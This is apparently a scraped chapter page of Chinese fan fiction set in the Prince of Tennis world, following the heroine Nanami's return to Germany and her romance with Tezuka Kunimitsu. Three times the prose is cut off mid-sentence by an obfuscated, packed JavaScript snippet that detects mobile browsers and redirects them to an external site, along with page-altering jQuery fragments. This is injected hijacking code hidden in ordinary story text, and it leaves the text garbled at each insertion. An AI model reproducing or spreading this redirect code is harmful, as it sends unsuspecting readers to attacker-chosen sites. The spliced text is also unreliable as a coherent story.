她说,她会永远只看着那个人。 梦中,记忆之门轰然洞开,他回想起两年前,在青学的仓库,她口中说出的誓言。 【“手冢国光,你会后悔的。” “总有一天,我会让你后悔,后悔没有选择留在日本,后悔没有选择我的指导。” “我会站在顶峰,带着我的人,打败你。”】 梦醒来,额头满是冷汗,视线所及一片漆黑模糊,手冢国光伸出手摸到床头柜的眼镜戴上,拿起手机,才凌晨4点。 雷特鲁教练说今天要去机场迎接新来的顾问,只一年半,新人换旧人。 他干脆从床上爬起,走到书房,打开灯,翻开笔记本继续写起日记。 --------------------------------- 德国,慕尼黑机场。 “为什么明明是已经来过很多次的地方还会迷路啊!”七海站在交织的人流中,满脸沮丧。 她还以为自己的认路能力有所长进,是她想多了。还是在那片混沌空间呆久了,她的认路能力又逐渐退化了? “早知道让雷特鲁派个人来接我了。”她无语扶额。 前几日,她将自己回来的消息偷偷告诉了雷特鲁,并提到自己最近就要回欧洲一趟。毕竟,收钱办事天经地义,日德法西瑞,五个国家加起来,她如今也能算得上高薪收入阶层了。 同一时刻—— “教练,那个新来的顾问怎么还没到啊?”塞弗里德站在接机口揪着碎发,不耐烦地抱怨着。 半晌,他又陷入了低落。“七海,她到底去哪了......我们不需要新顾问也没事吧。” 塞弗里德低垂着头,盯着脚尖,喃喃着。 手冢国光在听到那个名字的瞬间,心像是被一只手狠狠地揪紧了。 一股深深的刺痛顿时从心底蔓延到全身,记忆中那个人的容颜难以克制地浮现在他的脑海中,仿佛心中人就在眼前一般。 见身侧的人面色微变,塞弗里德似乎也意识到自己失言了,不再开口。 俾斯麦见状,只沉默地拍了拍塞弗里德的肩膀。 谁能想到世界杯结束,他们的顾问就人间蒸发了,他们并不清楚具体原因,但,看国光的表情,其中必有隐情。 “新顾问该不会和七海一样,容易迷路吧。”QP语气平和。 “我打个电话去吧。” 雷特鲁从前几天起就处于憋得难受的状态,时刻维持阳光灿烂的笑容也很不容易啊!只是,为了给这群少年们,给国光一个惊喜,这个保守秘密的活只能由他来干了。 “Na......你现在在哪里?” “诶,雷特鲁教练,原来你们来接我了吗?呃,我现在这个叫Ausgang Exit的牌子下面......什么这样的牌子有很多个吗!我没注意.....哦哦,Gate,G,J,K。” 她像只无头苍蝇在原地转悠了一圈,才准确报出自己所处的位置。 雷特鲁笑着:“我知道她在哪儿了,大家一起去接我们的新顾问吧。” “她?”塞弗里德愣愣地重复了一遍。德语中,她和他的用词并不同。 “新顾问也是女的吗?” “是啊。”雷特鲁点了点头。 即使明知道不会是她,少年们心中却莫名滋生出一丝微妙的期待,手冢国光听到“sie”时,垂着的双手下意识攥紧了。 他们向她所在的地方快步走去。 直到,视线中出现那道阔别已久,似曾相识,从久远的记忆中翻出的身影。 居然,是她—— 茫茫人海中,她独自伫立在机场宽阔的大厅里。 四周喧嚣鼎沸,人流川涌,却只有她静静地站在中心,仿若一株孤独的树木。 她似乎完全没有变,穿着一条浅蓝色的连衣裙,柔顺的黑发垂在腰间,她低着头在手机上敲着字,恍惚间,他以为他回到了两年前慕尼黑机场的那天。 太多纷乱的情绪纠成一片风暴,毫无章法地翻涌、席卷,掀起无法平息的波澜。 震耳欲聋。 “七海......”堆积的思绪涌上心口,一时间哽了喉。 他的声音很轻,她却不知怎么地清晰的捕捉到了,抬起头,向声源处望去—— 她终于能够完全确定,胸腔里传来的,是心动的声音。或者说,许多年前,她就已经确定,那是心动的声音。 还未等她对他的呼唤做出回应,远处的那道身影毫不犹豫地穿越人潮向她大步走来。 那些错过的时光,错失的人,终将裹挟着思念奔流到海。 “七海......”手冢国光的声音艰涩,喉头上下滚动了一番。隔着一段距离站在她面前,像是被一堵无形的墙拦住了。 他居然没能再更近一步,他突然不敢再更近一步。 而七海的关注点在于,他似乎又长高了一截,她现在需要再抬高一点头才能看清他了。 远处,德国队一众人或欣慰或惊诧或惊喜地望着于人流中相对而立的两人,十分有眼力见地没有再进一步靠近。 “七海,怎么会是你......” 好了,她明白了,他还是不敢相信。 “不是我行了吧,手冢国光。”七海双手叉腰,仰头蹙眉,佯怒道。 他扶了扶眼镜,表情一如既往的冷峻无波,如果不是他话中流露出的诧异,从面部表情看完全可以称得上冷静。 “呐,国光,我们先和大家汇合吧?”她浅笑着。她有很多话想说,她想他大概也有话想说,只是,这里并不是个适合说心里话的场合。 “啊。”他极其自然地接过她手边的行李箱,转身向身后的少年们走去。 走了几步,才意识到自顾自走得太快了,手冢国光轻咳了两声掩饰,停下脚步,侧身等着她跟上。 七海站在他身后偷笑了两声,这是紧张到手足无措了吗? ---------------------- 坐在接驳车上,少年们热烈地闲聊着。 “七海!你之前到底去哪里了?”塞弗里德满脑子的疑问。 “秘密,是秘密啦,塞弗里德。”七海没忍住冲动,把塞弗里德的橙发狂揉一通,塞弗里德的表情立刻崩坏。 那副想要报复回来,却碍于车上众人没敢动手的憋屈模样实在是太让人怀念了。 “哦对了,大家可以多和我说德语,我现在在认真学德语!” 俾斯麦:“没问题,七海,那从现在开始我们就只说德语了哦。” “油断せずに行こう!”虽然她知道车上大约只有她和他知道这句话的意思,七海还是噗嗤笑出了声。 雷特鲁坐在副驾驶座,侧过头看到坐在少女身边的少年眼神一刻不离地盯着她,嘴角的笑意又大了几分。 乘着夕阳,一路欢声笑语夹杂着七海磕磕巴巴的德语,接驳车终于驶达终点,却不是她以为的德国职网协会大楼,而是一栋黑顶白墙的独栋别墅前。 “雷特鲁教练,不是说给我接风吗?我还以为是去协会呢。”七海站在别墅门前打量着眼前的建筑,外墙线条简洁,门边是一片绿草坪。 “是给你接风。这里是国光的住所,今晚我们就在这里好好聚一聚吧。” “诶?国光的住所......啊,我知道了,是赞助商帮他租的吧。” 她还记得上次来德国时,他住的还是一间狭小的公寓,一眼就能扫览全局。说起来,她回来之后太多事要忙碌,还没来得及了解那些少年们的近况。 “国光在去年的慕尼黑挑战赛上表现不错,后来又拿着外卡参加巡回赛几次结果都不错,我们还在考虑给他换个更好的房子。” “结果不错?是拿到了多高的名次?”七海好奇道,顺便用余光瞥了眼身侧的人。 他从上车开始就沉默不语,害得她也开始忐忑。她已经准备向他奔来了,可他似乎......她脸上的笑意缓缓收起。 是了,已经一年多没见了。 或许他早都已经放下了。 二阶堂七海,你凭什么理所当然地认为他会等着自己呢。 月色下的海岸边,是你自己让他们别等的。他是那样一个行事果决绝不拖泥带水的人,或许他早已将故事翻篇了。 身后,QP的回答打断了她的沉思—— “是冠军,三次。” 她瞬间瞪大了双眼:“三次冠军叫还不错......雷特鲁,过分谦虚不是好事哦。” 雷特鲁朗声大笑起来,前方,手冢国光已将门打开,他带着一行人进了屋内。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489550|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “七海,你先在屋里休息参观一会儿,晚饭那群少年们会去做。”雷特鲁拍了拍她的肩膀,兀自把其他人赶到了客厅边的黑色岛台前,叽叽喳喳的不知道在准备什么餐食。 今天的晚霞是极美的紫粉橙渐变,金光透过一楼的落地窗射进屋内,落在身着黑红制服少年们的背上,背后的GERMANY标志也被染上橙色。 七海坐在皮质沙发上侧头望着这一幕,一瞬间恍了神。 准备晚饭并未花费多少时间,德式晚餐本就简便——面包,番茄沙拉,香肠,奶酪拼盘,蔬菜拼盘,以及为了庆祝不可或缺的啤酒。 “为了庆祝七海回到德国,干杯!” “干杯!” 大家坐在餐桌前吃着喝着闲聊着,一杯杯啤酒下肚,塞弗里德先醉了。 “国光!我,我以后一定要打败你!”塞弗里德红着脸,站起身一脚蹬在椅子上,拿着啤酒杯大喊着。 而被提及的人只扶了扶眼镜,语气平静:“塞弗里德,你喝得太多了。” “塞弗里德,别宿醉了明天又抱怨。”俾斯麦无奈道,早知道今天要照顾这个酒品极烂的家伙,他就该找个借口和女朋友去吃饭。 贝尔蒂脸颊微红,神志仍十分清醒:“塞弗里德明早来了协会会抱怨的概率是100%。” “七海,你要小心!国光身边,可是多了不少女人!”塞弗里德他收回脚走到七海身侧,凑到她面前警惕道。 七海愣了愣:“女人?” “是国光的治疗师和经纪人。”不等手冢国光回应什么,雷特鲁忙帮着解释。 她似是无所谓地笑了笑:“这么快就配备了治疗师和经纪人呀,看来你们真的很看好国光呐。” “我们希望,国光能打破最年轻大满贯选手的记录。” 这个世界,目前最年轻的单项大满贯选手记录是19岁。 “是国光的话,我相信一定可以做到的。”她侧过头,坐在身边少年的侧脸棱角分明,金边眼镜下的棕黑双瞳透着冷肃。 “我会为了这个目标继续努力。”他的声音一如既往的沉稳坚定。 ...... 天色渐晚,俾斯麦扶着烂醉如泥说着胡话的塞弗里德坚持要回去,于是少年们也作势预备告别。 “雷特鲁,我来之前你说会帮我安排住宿,待会我跟你走吗?” 雷特鲁望向扒拉着沙发椅背露出半张脸的七海,又转头看向正在水槽前收拾餐盘的手冢国光的背影,语气十分自然: “国光,我记得你楼上还有空房间吧。” 他的动作顿住了。她的大脑也卡住了。 “啊。”手冢国光转过身平静道。 “那七海这几天你就住国光这里吧,正好早上你们两个一起来协会也方便。” “哦对了,正好国光明天要去疗养院,他的治疗师这段时间不在德国,七海可以麻烦你陪他去一趟吗?” 她本打算回拒,后一句话却把她的心提溜起来。“去疗养院?国光,你受伤了吗?”她立刻站了起来。 手冢:“膝关节有些劳损,没有大碍,只是进行例行的按摩理疗。” “我和他一起去。”七海心中一紧,立马坚定回道。 雷特鲁笑容越发灿烂:“那就麻烦你了,七海。” “嗯,好。” “哦对了,国光,这个你收好。”雷特鲁将不知道什么东西塞进了少年的衣兜,轻拍了两下,笑着离去。 七海站在沙发前,无法自控地将视线移向岛台边的少年,直到他将餐盘收拾妥当,转过身来,四目相对。 热闹隐退,四周安静得可怕,只有窗外偶尔传来的微弱的鸟叫声。 “国光,这一年来,你还好吗?”她强撑着情绪,故作平静。 她有太多问题积压在心里想问他,最后从嘴里吐出的问题却是如此不痛不痒。 “七海,我......”手冢国光的话不知为何卡在了半途。 他好吗?与她无关的一切或许算得上好,算得上顺利。 “国光,你知道我为什么刚回到这里就来德国吗?” 七海听到自己在寂静中震耳欲聋的心跳声,不等他回应,她便紧盯着他轻颤着声,一字一顿道: “手冢国光,我为你而来。” 酸涩感似潮水般翻涌而上,一滴泪顺着泛红的眼眶滚下。 “国光,我果然,还是舍不得让你孤独一个人啊......” 151.第 151 章 她的话说完,他仍站在原地,表情动作没有半分变化,七海的脸上很快涌现出一抹自嘲的笑容,心底泛起细细密密的痛。 果然,她来迟了。或许这就是命运吧,让他们一次又一次错过,他们本不该再相逢,从第一次相遇便是她的强求,她本不该再强求。 “抱歉,国光,刚才的话......”她话音未落,不远处的人终于有了反应。 “七海,”他大步走到她面前,用力将她揽入怀中,“我很高兴。” 熟悉的气息环绕而来,七海的心像是漏跳了一拍。她的头被他揽着轻按在胸口,隔着轻薄训练服,她清晰地感受到他胸膛的起伏,以及传来的有力而有节奏的心跳声。 七海犹豫着,试探着,抬起双臂小心翼翼地环上他的腰,她只敢轻轻地把手贴在他的后腰上。 接着这个小动作,他浑身的肌肉猛地绷紧了,拢着她的手臂又紧了紧。 他的胸口很快传来一阵湿意,手冢国光试图松开这个拥抱,她的手却揪住了他后腰的布料。 “国光,你说很高兴是什么意思。”她的声音带上了鼻音,闷闷的。 “七海......我很高兴你愿意为我而来。” “就只是这样吗?”她吸了吸鼻子,仰头不满道,湿漉漉的紫瞳紧盯着他不放。 “七海,你先松开我。” 七海默默松开了双手,两臂垂落在身侧,保持着仰头望着他的姿势。 下一瞬,她的下巴被轻捧起,温热带着薄茧的手拂过她的脖颈像是带了电,激得她的身体轻颤了一下。七海总算是意识到了他要做什么,默默闭上了眼。 她的唇被一抹温软覆上,一下又一下轻柔地吮咬着,她笨拙地试着回应,踮起脚向他贴去,再次揽上了他的腰。 感受到她的回应与主动,少年不再自持,揽着她的后脑勺,果断地撬开她的齿关,向深处探去,索取探寻着她的每一寸气息,带着失而复得的急切。 七海只觉得自己的脑袋发晕发麻,不知何时已被吻得意识迷蒙,浑身滚烫得像是要烧起来,原本贴着沙发靠背站着,此刻已因腿软顺势坐在了上面。 残存的一点理智告诉她,该由她主动一次。她尝试着搅动自己的唇舌,只这一个简单的动作,他的吻再次如疾风骤雨般向她袭来,将她口中的空气彻底剥夺。 寂静的空间中唯余她的呜咽声和似有若无的气声。 “......唔......”她实在被吻得有些受不住,收回揽着腰的手轻锤了下手冢国光的胸口,他这才轻喘着气松开了钳制的双唇。 “哈......哈......” 七海扒着沙发边沿,低垂着眼睫不住地喘着气,酒后本就泛红的脸颊早已潮红一片。 静谧中,他们之间好像只剩下暧昧的沉默,连呼吸都带着暧昧的节奏。 羞意后知后觉地翻涌上来,她偷偷抬眸,注意到了身前少年通红的耳廓,总算心理平衡了一点。 试图从沙发上下来,双腿着地的一刻,却因为腿软一个踉跄,再次被他的怀抱接住,紧接着,她触及了他的一丝不对劲......七海的小脸立时似火烤般阵阵发烫。 她被安置在了沙发上。 “浴室在二楼,七海你先去洗澡,我去整理你的房间。”手冢国光平静道,转身离去的背影却像是落荒而逃。 ...... 七海在洗澡时做出了一个重大决策——她要大胆A上去! 虽然她的身材没法和模特比,也不算差,吧......少女低下头默默打量了自己一会儿,好不容易恢复正常的脸色再次腾地烧红了。 于是,当手冢国光也洗完澡拿着毛巾轻拭着发梢的水滴从浴室走出来后,他发现自己的床上多了一个人。 “七海,你的房间在隔壁。” 七海坐在他的床上愤愤不平地咬着下唇,为什么这个人可以那样吻过她之后还维持这副沉肃冷静的样子啊! 还是她穿的睡衣太平凡了,完全丧失了暗示的作用——她只穿着一条普普通通的吊带睡裙,没有任何性感的元素。 “我就要睡这里。”她撅着嘴轻捶了一下身下松软的被子。 手冢国光推了推眼镜沉默了两秒:“......好,那我去隔壁睡。” 眼看着他真的要走去隔壁睡觉,七海一声怒喝:“手冢国光,你给我站住!” 门口刚侧过身的少年停下了脚步,垂落的手攥成了拳头。 “国光,果然你不喜欢我了吧,连......”七海顿了顿,强压下羞涩,“连和我一起睡觉都不愿意了!” 她捂住了脸开始蹩脚地装哭,肩膀一下下耸动着,她想她的脸好像又烧起来了。 门外传来一声几不可闻的轻叹。接着是沉稳的步伐声,跟前的床垫似是陷下去了一块,七海松开手,他的脸靠近得猝不及防。 少年沉声道:“七海,这样做不合适。” “什么不合适嘛!你情我愿,别以为我不知道雷特鲁往你口袋里塞了什么......我可不是那么单纯的人。”她撇了撇嘴,视线紧盯着他不放。 眼前的人仿佛一尊雕塑般毫无破绽,完全控制住了面部冷峻的表情,丝毫没有流露出半分多余的情绪。 “国光,你知道我这一年来去了哪里吗?”她跪坐在被子上,低垂下头,轻声地回忆着过往的一年,两手无意识地揉捏着身前灰黑色的被子。 “我回到了一片混沌中,那里什么都没有,没有人陪我说话,哪里都是灰蒙蒙一片......我只能自己和自己说话,真的,很孤独......” 她本来只想让他心疼他,可说着说着,声音越发低落,鼻子酸痛得要命。 手冢国光的薄唇紧抿着,金边眼镜反着白光,遮住了他眼中浓重的心痛。 七海抬起头,看到了镜片上一张眼眶泛红的脸。 “国光,陪陪我吧......我好怕一觉睡醒自己又回到了那里,今天的一切都只是一个梦。” 见到她的那一刻,他早就开始害怕,倘若今天的一切都只是个梦。 “......好。” 她张开了嘴,愣住了。 回过神,七海以迅雷不及掩耳之速钻进了他的被窝里,拍了拍身侧的被子,贼兮兮地笑着,翘起的嘴角怎么也压不下。 他果然拿她毫无办法。 手冢国光直言自己的头发还没擦干,七海便老老实实躺在床上等他。 这张床从今天起就是她的阵地了,她一定要在去瑞士之前把冰山彻、底、征、服!少女握紧了拳头,暗自下定决心,待会儿他回来了,她就这样那样.......然后那样这样...... 窃笑声断断续续地透出被子,少年站在门边,听得很清楚。 然而,天不遂人愿。 躺在他的床上,属于他的气息一阵阵往鼻孔里钻,七海被一种前所未有的安全感和归属感包裹其中。 呼吸逐渐平缓,眼皮越来越沉重,倦意如潮水般席卷而来......最终,意识弥散在一片黑暗之中。 手冢国光回到房间时,映入眼帘的便是她的睡颜—— 少女蜷成一团缩在床的一角,长长的睫毛微微翕动,在昏黄的台灯照射下投射出纤长的影子。 柔软的黑发凌乱地散落在肩颈和洁白的枕头上,她的眉头轻蹙着,偶尔,身体会小小地蹭动一下,睡得并不算多安稳。 他在床沿坐下,伸出手想替她拨开额头的碎发,却顿在了半空中。 最终,还是收回手将台灯关掉,替她掖好被子,在黑暗中不知道默默注视了多久,手冢国光转身离开了房间。 ----------------------------- 七海很生气,后果很严重。 一大早醒来,发现床上只有自己一个人,被子被自己在睡梦中卷成了一个茧,她就意识到了——手冢国光,他根本没有来这张床上睡! 虽然自己不知不觉就睡着了也是一部分原因,她大概能猜到他是不想吵醒她所以才没有遵守承诺......果然还是好不甘心! 憋着一股气洗漱完毕下楼时,手冢国光已经结束晨跑-洗澡两项流程,在灶台前准备早饭。 昨日德国队的少年们都在,吃的便都是德式家常菜,今早, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499288|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他倒是做起了日式煎鱼。 手冢国光一身淡紫色的衬衫,手上的筷子不紧不慢地翻动着平底锅里滋滋作响的鱼排。 七海站在一边默默注视着,似乎连时间都静止了下来,视线中只剩下他金边眼镜后专注而沉静的丹凤眼以及棱角分明的侧脸。 可恶,怎么会有人做个饭都这么帅嘛! 本来还想和他生气,可是看到这张脸怎么生得起气...... 一顿饭吃得安静而有些沉闷,坐在对面的人面色自若的样子让七海越发暗自生起闷气,只可惜,手冢国光似乎完全没有看出她在生闷气。 于是,这样的氛围一直持续到两人坐地铁抵达疗养院。 坐在等候区的沙发上,七海百无聊赖地翻看着疗养院提供的小册子,耳畔却传来了一声有些熟悉的呼唤。 “七海?!” 七海抬起头,望见了站在不远处的两道背着网球包的红白身影。金发少年戴着黑框眼镜,脸上写满讶异,以及身侧的黑皮脏辫少年—— “阿玛迪斯,兰比尔?”她的瞳孔瞬间被点亮,七海站起来向他们快步走去。 “你们怎么会在这里呀?” “我们来这边做理疗。”阿玛迪斯解答道。 “七海,你真的回来了?!”兰比尔惊喜道,“欧诺基伊哈教练他很想你。” “抱歉......我过几天就来瑞士!”七海满脸惭愧。 当初答应替他们培养教练员,结果直接消失了一年......那时的她还没能预知到自己将离开,只能说命运弄人。 “你呢,七海,你怎么会在这里?” “啊,我也是来陪国光做理疗。” 阿玛迪斯意味不明地重复了一遍少女口中的名字,面色凝重了几分:“Kunimitsu,是那个德国队的日本籍选手,去年拿了两项巡回赛的冠军。” 那是一个强敌,一年前世界杯上的表现就已震撼了国际网球界,年仅17岁就以极其漂亮的成绩拿到几次巡回赛冠军,恐怕未来大满贯也不过是顺势而为。 另有几个令人瞩目的青年选手,比如Syusuke Fuji,Seiichi Yukimura这两位日本籍选手也同样是17岁就取得挑战赛冠军,获得了巡回赛资格。 阿玛迪斯看向眼前的少女,回想起了总决赛那天她说的话。 这确实是一个最好的时代,夜空中,所有冉冉升起的新星都和她有着千丝万缕的瓜葛。 “嗯,我姑且也是德国队的顾问嘛。”七海笑眯眯道。 “说起来你们呢?这一年表现如何呀?” “七海。”兰比尔的表情骤然柔和下来,“谢谢你当初推荐我来这里治疗,现在我膝关节的伤彻底恢复好了。” “我已经成为职业选手了。”他遵守了世界杯的那个夕阳下和她的约定。 “真的吗!太好了!”她雀跃道,又将视线移向一旁的阿玛迪斯,“阿玛迪斯,那你呢?” “我一切都好,现在为今年巴塞罗那的公开赛做准备。”阿玛迪斯面无表情道,顺带提到了另一个人。 “平等院那家伙也签约成为职业选手了,以后或许会在巡回赛和他对上。” 七海愣了愣。回来之后,她只和家人还有教练组以及第一梯队四国的三个教练透了底,平等院...... 她并没有忘记离别那天在海滩上他的话,她似乎欠下了许多无法偿还,还没来得及回应的情债。 少女兀自出神着,兰比尔却问了个十分突兀的问题: “七海,我想问一下,你现在有男朋友了吗?” 结束理疗推开门走出来的手冢国光一字不落地听清了那个眼镜少年的问题。 七海刚准备开口说有了,却突然意识到,她和他实际上并没有任何口头应下的关系。过去几年他们一直在错过,如今两个人保持着的不过是微妙的暧昧关系。 甚至于除了亲吻,他们连手都不曾牵过,除了她看不见那天。 一股莫名的别扭横冲直撞地窜上大脑,她干脆利落地开口: “没有。” “我现在没有男朋友。” 152.第 152 章 “我现在没有男朋友。” “那七海,我可以追求你吗?”兰比尔绽放出了一个灿烂的笑容。 七海呆立在原地,完全没预料到他会问出这样的问题,旋即,她反应过来,他大概是开玩笑? “兰比尔,如果只是为了感谢我给你推荐这家疗养院的话,没必要以身相许啦哈哈。”少女笑道,捋了捋鬓角的碎发。 “不,七海,我是认真的。”他的蓝眸中透出真诚。 “抱歉,兰比尔,我......”她的话说到一半,身后一道传来清冽沉着的声音。 “她已有男朋友了。” 她的心倏地收紧了。 七海转过头,眼睁睁地看着穿着德国队黑红制服的少年迈开大步向她走来,直到在她身边站定,沉肃的目光透过镜片与对侧的另一位眼镜少年的视线在空中交汇。 “那怎么连七海自己都不知道呢?国光。”兰比尔依旧笑容灿烂。“你该不会想说你是七海的男朋友吧,你们看起来根本不像情侣呢。” 他看得很清楚,从这两个并肩而立的人之间的缝隙宽度,从垂下来的那两只毫无交握习惯的手。 巡回赛冠军?他可以追赶到更高的地方。 手冢国光抿紧了唇,沉默不语。 七海想她是有些欣喜又有一点失落的,他能说出那句“她已经有男朋友了。”应该已是他的极限了。 她不能再强求那个手冢国光说出更多她想听到的、两个相爱的人该有的、透着占有欲的话。 然而,仅仅几秒沉寂后—— “昨晚在家做错事,害她生气了。”手冢国光推了推眼镜平静道,“抱歉,你们恐怕误会了。” 七海侧仰过头,双唇微张,惊愕地望向他。 兰比尔脸上笑意更甚,“七海,是这样吗?” “......是。所以对不起,兰比尔,我不能接受你的追求。”七海从那句暗含深意的回拒中拉回思绪,递过去一个充满歉意的笑容。 出乎意料的是,他并未因此沮丧。“七海,恢复单身了记得联系我哦。” 兰比尔:“国光,八月底的美网你要参加吧?”他们一致认为以手冢国光获取积分的速度,恐怕届时已经无需借助外卡名额就能参与满贯赛事。 “啊。” “资格赛对你来说应该不成问题。那么,正赛上见吧。”兰比尔伸出手,两人不轻不重地交握了一下,瑞士队两人相偕离去。 ...... “国光,你的膝盖怎么样?” 手冢国光听着她的关切,想着的却是刚才兰比尔说的话。 “七海,对不起,是我没有注意。” 他想他该找一个更适合的地方,郑重地问她那个问题。可他似乎等不及了,只要她离开了他的视线,就马上会有人凑上来,分走她的注意。 他突然意识到,这不是他第一次产生这样的情绪,这个情绪的名字叫—— 占有欲。 “七海,我想,你永远只看着我。” “七海......你愿意做我的女朋友吗?” 视线所及的其他景物好像都模糊了,只剩下他高大的身影伫立在眼前。其他一切声音都变得无关紧要,只有他沉稳坚定的声音在脑海中挥之不去。 “国光......我愿意。”七海强压下冲上鼻腔的酸涩,应声。她怎么可能不愿意。 “七海。”他将她大力揽入怀中,“我会努力学习。” “那从今天开始,你要主动牵我的手。” “啊。” “还要主动亲我,早上一次,睡前一次,其他时间看情况。” “好。” “晚上要和我一起睡觉,你懂我说的是哪两种。”她乘胜追击,嘴角挂上了一丝奸计得逞的窃笑。 “......七海。”手冢国光眼底闪过一丝无奈,“我可以陪你睡觉。” 他的耳廓不知何时又开始泛红,“另外一种不可以,你还太小,会受伤。” “可是国光,我的年纪在日本都可以结婚了。”七海翘起嘴,不乐意道。 “七海,只有这件事,现在不行。” 见手冢国光满脸沉肃语气坚决,无论她怎么说都拒绝,她只得表面上应下。 至于暗地里......少女的眼珠子转悠着,脑子里又冒出了许多算不得多绝妙的主意。 她就不信,以她的姿色,还不能□□成功。冰山融化,铁树开花,朽木生芽,哼,二阶堂七海,你可是天才,没有什么做不到的! 将这些不太正经的思绪收回心底,七海松开他的拥抱,拉着手冢国光在休息室的沙发上坐下。 “国光,让我看看你的膝盖。” “七海,不用担心。” “你不自己掀开我就来拉你裤腿了。”七海狠狠扫过去一记眼刀,手冢国光这才默默将左边的裤腿拉至膝盖以上。 膝盖周围的肌肉隆起,有些凹凸不平,几道细长发白的旧疤横亘其上。她将手轻轻覆了上去,触感粗粝,她却不敢再做出更多的举动。 “疼吗?”他听出了她声音中的颤抖。 手冢国光语气平静,试图安抚她:“现在已经恢复了,半月板并没有受到不可逆的损伤。” “什么叫现在已经恢复了!”七海瞬间拉高了音量,接着又骤然降低了。 “意思是,还是疼过,对吗......如果,这一年多我没有离开就好了......”他看到了她眼中不曾掩饰的心痛和内疚。 “七海,抱歉......” 她又有些气恼:“手冢国光,别总和我说抱歉!如果你不希望我还有你的家人朋友为了你担惊受怕,你就该学会保护好自己。” “大满贯又不是只拿一次就够了,如果身体产生了不可逆的损伤,职业道路,就一眼看到尽头了啊......” 他只是沉默。 她总是懂他的沉默。 “手冢国光,你就不愿意改变一点吗?哪怕是为了我。”七海垂眸,嘴角勾起一个自嘲的笑。 “七海,抱歉,我——” 不等他说完,她又抬头,恶狠狠地盯着他。 “国光,你想成为世界第一,我告诉你世界第一需要什么。除了天赋努力,还需要一个健康可持久的身体,一次大满贯不代表世界第一,你明白吗?” “世界第一周数,满贯的次数,你要成为一个时代的代表人物,世人才会认同你是世界第一的网球选手,你才配被称为the GOAT.” The GOAT—— the Great Of All Time,有史以来最伟大的球员。 “如果你不能明白这一点,如果你的目标是一次满贯就够,那我只能说,你也只不过是个二流的职业选手。辉煌几年就伤病退役,你看以后还有谁会记得你!” 她越说越气,越说越急,一切仿佛又回到了三年前,她永远无力改变他,也永远无法释怀。 “说着什么网球不是用来伤人的,那任由自己受伤就是对的吗?” “你以为你是全世界最爱网球的人吗?负伤打球很了不起吗?你打网球的时间难道比我长吗?永远固执己见!手冢国光,我最讨厌的就是这样的你!” 一片死寂。 他仍旧沉默不语。 随后,带着哽咽的轻声呢喃响起。 “最喜欢的,也是这样的你。” “可是这样的你,能够享受网球的未来太短了啊......国光,这真的是你想要的吗?我求你问问自己。” 泪水不知何时已经落下,七海转过头将眼角的泪胡乱抹去。 她累了,她真的累了。她不想再在这个问题上和他纠缠不休了。 “如果你打算当一个二流选手,以后就不要再来找我了,我不培养转瞬即逝的流星。刚才说的话我要收回,我不愿意做你的女朋友了,你就当我从没回来过吧。”七海站起身,背对着他闭了闭眼,狠下心道。 身后悄无声息,七海冷笑一声,无尽的悲凉与无力感如泄了闸一般翻涌而上。或许谁都没有能力改变他,她自然也不例外,她又何必一遍又一遍自取其辱。 算了,就这样吧。 即将抬腿离开的前一刻,身后传来了布料摩擦的声音。七海正欲转过头,后背突然被滚烫的热度贴上—— 他从背后抱住了她。 “七海,抱歉......我会试着改变。” 他的话在耳畔清晰可闻,温热的鼻息和呼气拂过她的颈侧,像是在一遍遍提醒着他刚才说的话。 七海彻底僵立在原地,再也挪不动一步,心脏像是安上了起搏器跳得飞快,几欲从胸口蹦出去。 她太了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518044|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “手冢国光”这个名字,太了解他的性格,即使她那么问,那么逼迫,那么骂他,她的内心深处也从没妄想过他可能为她改变,为她跳出自己的规则与秩序中。 国中三年,类似的对话发生过不止一次,可结果从未改变过。 七海垂头看着自己腰前交叉的双臂,把自己的手覆了上去,她试探地,小心翼翼地开口: “即使有的比赛,我教你用不是正面对决的方法取胜?” “......啊。” “即使有的比赛,我会为了你的长久发展让你......” “......嗯。” “你不怕,我是日本队的教练,这么说是为了让你输掉比赛吗?” “七海,你不会。” 七海轻拍他箍在她腰上的大手,手冢顺从松开,她这才转过身来,再次紧抱住他。 “国光,不要再让我,让爱你的人为你担惊受怕了。”她哽咽道。 “七海,别哭,是我不好。”手冢国光一下下轻抚着她的后脑勺。 “七海,今晚,你愿意见一见我的父亲母亲吗?” 这个话题也切换得太突然了吧......少女的哽咽声霎时间收住了,七海仰起头有几分怔愣。 “国光,你的爸爸妈妈也在德国吗?” “他们留在日本,我们可以和他们视频通话。” “可是,是......”以什么身份,以什么目的? 七海话说到一半止住,手冢国光猜到了她的未尽之言。 “七海,我想向我的家人正式介绍你。” 他瞒了他们三年,当初他自认为无法给她完满的未来,无法给她她想要的陪伴,不想给她带来困扰便从来没有让家中长辈知道她的存在。 